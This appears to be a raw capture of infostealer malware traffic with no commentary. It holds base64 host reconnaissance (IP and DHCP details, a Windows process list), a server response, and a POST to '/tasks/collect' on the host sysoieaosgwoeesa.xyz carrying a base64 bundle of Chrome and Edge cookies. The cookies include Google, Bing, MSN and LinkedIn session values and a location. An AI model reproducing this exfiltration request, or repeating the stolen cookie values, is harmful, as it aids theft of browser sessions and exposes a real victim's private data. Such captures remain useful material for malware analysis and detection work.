0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhDUCBFbmFibGVkOiAgICBZZXMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERIQ1AgU2VydmVyOiAgICAgMTkyLjE2OC4wLjENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElQIGFkZHJlc3MoZXMpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbMDFdOiAxOTIuMTY4LjAuMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWzAyXTogZmU4MDo6NDEzZDo3MjNhOjNiYjU6NmJiOQ0KSHlwZXItViBSZXF1aXJlbWVudHM6ICAgICAgQSBoeXBlcnZpc29yIGhhcyBiZWVuIGRldGVjdGVkLiBGZWF0dXJlcyByZXF1aXJlZCBmb3IgSHlwZXItViB3aWxsIG5vdCBiZSBkaXNwbGF5ZWQuDQoKYXBwbGljYXRpb25mcmFtZWhvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNzM1MgpiYWNrZ3JvdW5kdGFza2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNjkwOApiYWNrZ3JvdW5kdGFza2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNzQ0OApiYWNrZ3JvdW5kdGFza2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNzI2OApiYWNrZ3JvdW5kdGFza2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjY4OApjb25ob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDYwNTYKY29uaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAgMzkyCmNvbmhvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNzI2NApjb25ob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ4NjgKY29uaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA3MjMyCmNvbmhvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNTYxNgpjb25ob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDYzMzIKY29uaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxODM2CmNzcnNzLmV4ZSAgICAgICAgICAgICAgICAgICAgICAzOTYKY3Nyc3MuZXhlICAgICAgICAgICAgICAgICAgICAgIDUyMApjdGZtb24uZXhlICAgICAgICAgICAgICAgICAgICAgNTM5MgpkZXZpY2VjZW5zdXMuZXhlICAgICAgICAgICAgICAgICAgICAgNjI2MApkbGxob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDM3OTIKZGxsaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA0MDE2CmR3bS5leGUgICAgICAgICAgICAgICAgICAgICAgNDI0CmV4cGxvcmVyLmV4ZSAgICAgICAgICAgICAgICAgICAgIDU2MjgKZm9udGRydmhvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgIDgyMApmb250ZHJ2aG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAgODI4CmxzYXNzLmV4ZSAgICAgICAgICAgICAgICAgICAgICA2ODAKbWVtb3J5IGNvbXByZXNzaW9uICAgICAgICAgICAgICAgICAgICAgMTUyMAptaXRtZHVtcC5leGUgICAgICAgICAgICAgICAgICAgICA3NjAwCm1wY21kcnVuLmV4ZSAgICAgICAgICAgICAgICAgICAgIDYwNjAKbXNkdGMuZXhlICAgICAgICAgICAgICAgICAgICAgMjIyNAptc2lleGVjLmV4ZSAgICAgICAgICAgICAgICAgICAgIDc2ODQKbXNpZXhlYy5leGUgICAgICAgICAgICAgICAgICAgICA2Mjg0Cm1zaWV4ZWMuZXhlICAgICAgICAgICAgICAgICAgICAgNTIyNApvbmVub3RlbS5leGUgICAgICAgICAgICAgICAgICAgICA3MDA4Cm9zcHBzdmMuZXhlICAgICAgICAgICAgICAgICAgICAgNjkwNApwb3dlcnNoZWxsLmV4ZSAgICAgICAgICAgICAgICAgICAgIDY0MjAKcnVudGltZWJyb2tlci5leGUgICAgICAgICAgICAgICAgICAgICA2MDQ0CnJ1bnRpbWVicm9rZXIuZXhlICAgICAgICAgICAgICAgICAgICAgNjMzNgpydW50aW1lYnJva2VyLmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ2NTYKcnVudGltZWJyb2tlci5leGUgICAgICAgICAgICAgICAgICAgICA2MzI0CnJ1bnRpbWVicm9rZXIuZXhlICAgICAgICAgICAgICAgICAgICAgNzU2NApydW50aW1lYnJva2VyLmV4ZSAgICAgICAgICAgICAgICAgICAgIDY5NjgKc2VhcmNodWkuZXhlICAgICAgICAgICAgICAgICAgICAgNjEyMApzZWRsYXVuY2hlci5leGUgICAgICAgICAgICAgICAgICAgICA1MDUyCnNlZHN2Yy5leGUgICAgICAgICAgICAgICAgICAgICA4MDY4CnNlcnZpY2VzLmV4ZSAgICAgICAgICAgICAgICAgICAgICA2NTIKc2V0dXAwMzI0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ2ODAKc2hlbGxleHBlcmllbmNlaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA1OTA4CnNpaGNsaWVudC5leGUgICAgICAgICAgICAgICAgICAgICA1Mzg4CnNpaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyMzM2CnNtc3MuZXhlICAgICAgICAgICAgICAgICAgICAgIDI5NgpzcHBleHRjb21vYmouZXhlICAgICAgICAgICAgICAgICAgICAgNjU2NApzcHBzdmMuZXhlICAgICAgICAgICAgICAgICAgICAgMTEyMApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgICA3ODQKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAgODA0CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgIDkxNgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgICA5ODQKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAgMzg4CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgIDkzMgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDEwNDQKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxMDUyCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTE1NgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDExNjgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxMTgwCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTI2MApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDEyNjgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxMjkyCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTMwMApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDEzMDgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxMzE2CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTQ0MApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE0ODQKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxNTcyCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTU4OApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE1OTYKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxNzA0CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTcyNApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE3NzIKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAxNzgwCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTg3NgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE5NTYKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyMDE2CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMTA0MApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE5NDAKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyMDkyCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjEzMgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDIxNjAKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyMjY0CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjM3NgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDI1NjgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyNTc2CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjU4OApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDI3MDgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyNzI0CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjczNgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDI3NDQKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyOTEyCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMzAzMgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDMxMjAKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAzMTgwCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMzIzMgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ5NjgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAzMzgwCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMzE2MApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDUzMzIKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA1Mzc2CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNjI1MgpzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDY4NDgKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICAyNTg0CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgMjY4NApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDc0OTIKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA2MTYwCnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgIDg0MApzdmNob3N0LmV4ZSAgICAgICAgICAgICAgICAgICAgIDE5MzIKc3ZjaG9zdC5leGUgICAgICAgICAgICAgICAgICAgICA3ODk2CnN2Y2hvc3QuZXhlICAgICAgICAgICAgICAgICAgICAgNjE0MApzeXN0ZW0gICAgICAgICAgICAgICAgICAgICAgICA0CnN5c3RlbWluZm8uZXhlICAgICAgICAgICAgICAgICAgICAgNzQ4MApzeXN0ZW1zZXR0aW5ncy5leGUgICAgICAgICAgICAgICAgICAgICA2MzIwCnRhc2tob3N0dy5leGUgICAgICAgICAgICAgICAgICAgICA1MjAwCnRhc2tob3N0dy5leGUgICAgICAgICAgICAgICAgICAgICAzMjgwCnRhc2tob3N0dy5leGUgICAgICAgICAgICAgICAgICAgICA0MTgwCnRpd29ya2VyLmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ5NDQKdHJ1c3RlZGluc3RhbGxlci5leGUgICAgICAgICAgICAgICAgICAgICA1NDQ4CndpbmluaXQuZXhlICAgICAgICAgICAgICAgICAgICAgIDUxMgp3aW5sb2dvbi5leGUgICAgICAgICAgICAgICAgICAgICAgNTg0CndpbnN0b3JlLmFwcC5leGUgICAgICAgICAgICAgICAgICAgICA3NDIwCndtaXBydnNlLmV4ZSAgICAgICAgICAgICAgICAgICAgIDM5ODQKd21pcHJ2c2UuZXhlICAgICAgICAgICAgICAgICAgICAgMjUyMAp3bWlwcnZzZS5leGUgICAgICAgICAgICAgICAgICAgICA0NzIwCndzcW1jb25zLmV4ZSAgICAgICAgICAgICAgICAgICAgIDQ2MjQK","type":"1001","uuid":"536f8583-f344-4337-a401-456bac7e97f1"}" HTTP/1.1 200 OK Content-Length: 12 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:34:59 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: 24a94168-8a52-4ad4-841e-0f50113c17e5 Connection: close with response body ==>7B226F6B223A747275657D0A....... "POST /tasks/collect HTTP/1.1 Accept: */* Connection: close Content-Length: 34852 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"status":true,"task_result":"eyJjaHJvbWUiOlt7ImRvbWFpbiI6Im9ncy5nb29nbGUuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzU2OTc5Nzk5MDAwMDAwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJPVFoiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiI3NDYwMTcwXzg4Xzg4XzEwNDI4MF84NF80NDY5NDAifSx7ImRvbWFpbiI6Ii5nb29nbGUuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzcwMTk5MDI5Njk2ODc4LCJodHRwT25seSI6dHJ1ZSwibmFtZSI6Ik5JRCIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IjUxMj1HYUlXRzJYRXJ3WFppTFlCaXF1Tl83aXlmYnozSmhiaVFVNDVDbk9FbElZSDVJUFotSkZRVFh4d2R1YlZPZ2otQjljVmdrY01Dck1FQWxhSHJtYWMwbzhzSTBMbDNmZmVoVWs2TFVDR0FJRi1IaGN6dUF5NmRraTJ1RFdsT1lhUXItMkZPWkt1aFc1eU9sQi1oTTc2WWNwNkVBdE1tYlo5Z0h6enlkdktydEUifV0sImVkZ2UiOlt7ImRvbWFpbiI6Ii5tZWRpYWdvLmlvIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzkwMjQ4ODc0MjIzNTc5LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJfX21ndWlkXyIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IjZiNjQ1NDc5MjA2Y2YwNmM1MmI5OTQyZDVhNjlmYTAyIn0seyJkb21haW4iOiIucG9waW4uY2MiLCJleHBpcmF0aW9uRGF0ZSI6MTM0MDcxMTUzOTI1NTAwNTEsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Il9fbWd1aWRfIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiNWQyZmQ1OWZiYWU1Mzc2OTNiYWQ4N2I5YjQ4NmMxZWYifSx7ImRvbWFpbiI6Ii5iaW5nLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4ODk0NzY5NjU5MjU3MiwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiQUJERUYiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiJWPTEzJkFCRFY9MTMmTVJOQj0xNzA5OTE0MDk2NTc5Jk1SQj0wIn0seyJkb21haW4iOiIuZG91YmxlY2xpY2submV0IiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ3Njk5NjY0NzI0LCJodHRwT25seSI6dHJ1ZSwibmFtZSI6IklERSIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IkFIV3FUVWtER1Yzd2dURmhzVS1xQnotNUlyQmxYWUx1dm1qbGxVR05TZE5vLU0xd3hHMWdadk1udm5QU1lkeE5QOWcifSx7ImRvbWFpbiI6Ii5iaW5nLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4ODk0NzY5NzE4MTgwMSwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiU1JDSFVTUiIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IkRPQj0yMDIyMDQyOCZUPTE3MDk5MTQwOTUwMDAifSx7ImRvbWFpbiI6Ii5jLm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODM2ODM4Njg0NDUsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6IlNSTV9NIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiMUJEM0Y4QzVFMTdFNkQ3NzFFMUJFQUE2RTU3RTYzMzUifSx7ImRvbWFpbiI6Ii5iaW5nLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4ODk0NzY5Njc1NzM5NiwiaHR0cE9ubHkiOnRydWUsIm5hbWUiOiJVU1JMT0MiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiJIUz0xJkVMT0M9TEFUPTQ5LjI3OTE1MTkxNjUwMzkwNnxMT049LTEyMy4xMTY2MzgxODM1OTM3NXxOPVZhbmNvdXZlciUyQyUyMEJyaXRpc2glMjBDb2x1bWJpYXxFTFQ9MXwifSx7ImRvbWFpbiI6Ii5iaW5nLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4NTkyMzY5NzQwNzMyNSwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiX1J3QmYiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiJpbHQ9MyZpaHBkPTAmaXNwZD0xJnJjPTEzJnJiPTAmZ2I9MCZyZz0yMDAmcGM9MTAmbXR1PTAmcmJiPTAmZz0wJmNpZD0mY2xvPTAmdj0xJmw9MjAyNC0wMy0wOFQwODowMDowMC4wMDAwMDAwWiZsZnQ9MDAwMS0wMS0wMVQwMDowMDowMC4wMDAwMDAwJmFvZj0wJm89MiZwPSZjPSZ0PTAmcz0wMDAxLTAxLTAxVDAwOjAwOjAwLjAwMDAwMDArMDA6MDAmdHM9MjAyNC0wMy0wOFQxNjowODoxNy4zNDAwMjU3KzAwOjAwJnJ3cmVkPTAmd2xzPSZsa2E9MCZsa3Q9MCZUSD0mcj0wJmFyZD0wMDAxLTAxLTAxVDAwOjAwOjAwLjAwMDAwMDAmcndkYnQ9MDAwMS0wMS0wMVQwMDowMDowMC4wMDAwMDAwJnJ3Zmx0PTAwMDEtMDEtMDFUMDA6MDA6MDAuMDAwMDAwMCZ3bGI9JndsZT0mY2NwPSZhYWQ9MCJ9LHsiZG9tYWluIjoiLm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODU5MjM2ODUwMDAwMDAsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Il9TUyIsInBhdGgiOiIvIiwic2VjdXJlIjpmYWxzZSwidmFsdWUiOiJTSUQ9MDAifSx7ImRvbWFpbiI6Ii5nb29nbGUuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ3NzEwMjg5OTYwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJfZ2EiLCJwYXRoIjoiL2Nocm9tZSIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiR0ExLjItMi4xMDAwNjM3NDM4LjE3MDk5MTQxMDAifSx7ImRvbWFpbiI6Ii5nb29nbGUuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ3NzEwOTg3MTg1LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJfZ2EiLCJwYXRoIjoiL2Nocm9tZS8iLCJzZWN1cmUiOmZhbHNlLCJ2YWx1ZSI6IkdBMS4xLTIuMTAwMDYzNzQzOC4xNzA5OTE0MTAwIn0seyJkb21haW4iOiIubGlua2VkaW4uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg1OTIzNjg1Mjk4MzY5LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJiY29va2llIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiXCJ2PTImOTg3ODliYTgtNTI4Zi00ZGY0LThiYTgtY2NkZWM5NGM1NWE1XCIifSx7ImRvbWFpbiI6Ii5nb29nbGUuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ3NzI1OTQwMjQwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJfZ2FfQjdXMFpLWllESyIsInBhdGgiOiIvY2hyb21lLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiR1MxLjEtMi4xNzA5OTE0MTAyLjEuMS4xNzA5OTE0MTI1LjAuMC4wIn0seyJkb21haW4iOiIuYmluZy5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODM4NTYwODI3MTAsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Ik1VSUQiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiIyQzA5N0MzMzA1RTY2QTZFMTVDNTY4MEYwNDYyNkJFQyJ9LHsiZG9tYWluIjoiLm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODM4NTQyMDI4OTEsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Ik1VSUQiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiIyQzA5N0MzMzA1RTY2QTZFMTVDNTY4MEYwNDYyNkJFQyJ9LHsiZG9tYWluIjoiYXNzZXRzLm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODM4NTUwMDMyODAsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoiTVVJREIiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiMkMwOTdDMzMwNUU2NkE2RTE1QzU2ODBGMDQ2MjZCRUMifSx7ImRvbWFpbiI6Im50cC5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4MDgzODU0MjAyOTE4LCJodHRwT25seSI6dHJ1ZSwibmFtZSI6Ik1VSURCIiwicGF0aCI6Ii8iLCJzZWN1cmUiOmZhbHNlLCJ2YWx1ZSI6IjJDMDk3QzMzMDVFNjZBNkUxNUM1NjgwRjA0NjI2QkVDIn0seyJkb21haW4iOiIuYy5iaW5nLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4ODA4Mzg1NjA4MjgyMCwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiU1JNX0IiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiIyQzA5N0MzMzA1RTY2QTZFMTVDNTY4MEYwNDYyNkJFQyJ9LHsiZG9tYWluIjoiLmMuYmluZy5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODM4NTYwODI4NDYsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6IlNSTV9NIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiMkMwOTdDMzMwNUU2NkE2RTE1QzU2ODBGMDQ2MjZCRUMifSx7ImRvbWFpbiI6Ii5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4MDgzODU0MjAyOTQ1LCJodHRwT25seSI6dHJ1ZSwibmFtZSI6Il9FREdFX1YiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiMSJ9LHsiZG9tYWluIjoiLm50cC5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg1OTIzODU1MDAwMDAwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJzcHRtYXJrZXQiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiZW58fGNhfGVuLWNhfGVuLWNhfGVufHxSZWZBPTA0QUQxODk5Q0JDRDQyRjFBNTkzMDNEODMxODg5NEM4LlJlZkM9MjAyNC0wMy0wOFQxNjowODowMloifSx7ImRvbWFpbiI6Im50cC5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ3ODU0MjAyODEzLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJzcHRtYXJrZXQiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiZW58fGNhfGVuLWNhfGVuLWNhfGVufHxSZWZBPTgyMjQ4NDk2MkYwMzRDNTBBRTRGMzFENDI1QjVFNTg2LlJlZkM9MjAyNC0wMy0wOFQxNjoxMDo1NFoifSx7ImRvbWFpbiI6Ind3dy5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg1OTI0MDUxMjI4MjY2LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJNU0ZQQyIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IkdVSUQ9OTlkYjQ5NGY3OTRhNGMyMWFmNjI1NWE1YmY1NTYyMDMmSEFTSD05OWRiJkxWPTIwMjMwMyZWPTQmTFU9MTY3ODQ1OTU1ODU5NyJ9LHsiZG9tYWluIjoid3d3Lm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODgwODQwNDQyODQ1MTMsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoiTVVJREIiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiMkMwOTdDMzMwNUU2NkE2RTE1QzU2ODBGMDQ2MjZCRUMifSx7ImRvbWFpbiI6Im50cC5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg1OTI0MDU3MTg5ODgwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJNaWNyb3NvZnRBcHBsaWNhdGlvbnNUZWxlbWV0cnlEZXZpY2VJZCIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6ImMyMDU5M2FjLWEwOTEtNGNkNi04MzlmLWUxN2JiMGI1YjI1MiJ9LHsiZG9tYWluIjoiLmJpbmcuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ4MDQ1NTQ5MDgxLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJTUkNISFBHVVNSIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiU1JDSExBTkc9ZW4ifSx7ImRvbWFpbiI6Ii5tc24uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzcwMTEyODQwMDAwMDAwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJwZ2x0LWVkZ2VDaHJvbWl1bS1kaHAiLCJwYXRoIjoiL2VkZ2UiLCJzZWN1cmUiOmZhbHNlLCJ2YWx1ZSI6IjQzIn0seyJkb21haW4iOiIubXNuLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM3MDExMjg1NjAwMDAwMCwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoicGdsdC1lZGdlQ2hyb21pdW0tbnRwIiwicGF0aCI6Ii9lZGdlIiwic2VjdXJlIjpmYWxzZSwidmFsdWUiOiI0MyJ9LHsiZG9tYWluIjoid3d3Lm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODg5NDgwNDMyODQ0OTEsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6InNwdG1hcmtldCIsInBhdGgiOiIvIiwic2VjdXJlIjpmYWxzZSwidmFsdWUiOiJlbi11c3x8Y2F8ZW4tY2F8ZW4tY2F8ZW58fFJlZkE9M0JFRDlGMTM4OTU1NDFDOTk4MzYzRTIyODREOTNCRjUuUmVmQz0yMDI0LTAzLTA4VDE2OjE0OjAzWiJ9LHsiZG9tYWluIjoid3d3Lm1zbi5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODU5MjQwODcxNDgxNDIsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Ik1pY3Jvc29mdEFwcGxpY2F0aW9uc1RlbGVtZXRyeURldmljZUlkIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiMjBkNWFiMTQtY2ZjYi00NDk3LTk1NjktMmNhYzBlNWVkNzVmIn0seyJkb21haW4iOiIuc2NvcmVjYXJkcmVzZWFyY2guY29tIiwiZXhwaXJhdGlvbkRhdGUiOjEzMzg4OTQ4MDg0NTU0NTYxLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJVSUQiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiIxREE5NmZiN2IwOGY0MTljMWRhYzUyYTE2NTExNjcyMjQifSx7ImRvbWFpbiI6Ii5kYy5hcnJpdmFsaXN0LmNvbSIsImV4cGlyYXRpb25EYXRlIjoxMzM4NTkyNDA4ODMwODIyMCwiaHR0cE9ubHkiOnRydWUsIm5hbWUiOiJhdmxjbnQiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiIxIn0seyJkb21haW4iOiIuZGMuYXJyaXZhbGlzdC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODU5MjQwODgzMDgyNzIsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoiYXZsdWtleSIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6IjY1ZWIzOTc4MzkzMTU5LjM5NjE1Njc5In0seyJkb21haW4iOiIubWdpZC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTMzODU5MjQwODY4MDQxNTAsImh0dHBPbmx5IjpmYWxzZSwibmFtZSI6Im11aWRuIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoibTNzTlliUkptd3hhIn0seyJkb21haW4iOiIuYWRueHMuY29tIiwiZXh